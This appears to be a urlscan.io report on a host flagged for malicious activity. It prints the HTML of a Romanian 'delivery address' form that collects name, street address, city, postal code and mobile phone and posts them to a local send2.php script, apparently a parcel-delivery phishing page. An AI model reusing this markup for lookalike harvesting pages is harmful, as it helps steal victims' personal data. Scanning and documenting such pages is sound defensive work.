qbp.qhd.mybluehost.me Open in urlscan Pro
162.241.216.41  Malicious Activity! Public Scan

Form analysis
2 forms found in the DOM

POST ./send/send2.php

<form id="logout-form" action="./send/send2.php" method="POST" style="display: none;">
  <input type="hidden" name="_token" value="ndfoM5MxRaF89fcuYLyY8TpZ3jVdy19pbvu3fqfZ">
</form>

POST ./send/send2.php

<form class="form-horizontal" role="form" method="POST" action="./send/send2.php" onsubmit="return ValidaRegistro();">
  <input type="hidden" name="_token" value="ndfoM5MxRaF89fcuYLyY8TpZ3jVdy19pbvu3fqfZ">
  <div class="form-group">
    <label for="name" class="col-md-4 control-label"><span style="color: #004280;"> Nume si Prenume *</span></label>
    <div class="col-md-6">
      <input id="name" type="text" placeholder="ex: Popescu Alexandru" class="form-control" name="bb1" maxlength="30" required="" autofocus="" tabindex="1">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="col-md-4 control-label"><span style="color: #004280;"> Adresă (stradă și număr) *</span></label>
    <div class="col-md-6">
      <input id="email" type="text" placeholder="ex: Strada, numar, bloc, scara, etaj, apartament" class="form-control" name="bb3" maxlength="190" required="" tabindex="3">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="col-md-4 control-label"> <span style="color: #004280;">Oraș *</span></label>
    <div class="col-md-6">
      <input id="email" type="tel" placeholder="Oraș" class="form-control" name="bb4" maxlength="190" required="" tabindex="3">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="col-md-4 control-label"> <span style="color: #004280;">Cod poștal *</span></label>
    <div class="col-md-6">
      <input id="email" placeholder="Cod poștal" type="text" class="form-control" name="bb5" maxlength="190" required="" tabindex="3">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="col-md-4 control-label"> <span style="color: #004280;">Telefon mobil *</span></label>
    <div class="col-md-6">
      <input id="email" type="tel" class="form-control" name="bb6" maxlength="190" required="" tabindex="3" placeholder="+40">
    </div>
  </div>
</form>

Text Content

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ADRESĂ DE LIVRARE


Nume si Prenume *

Adresă (stradă și număr) *

Oraș *

Cod poștal *

Telefon mobil *

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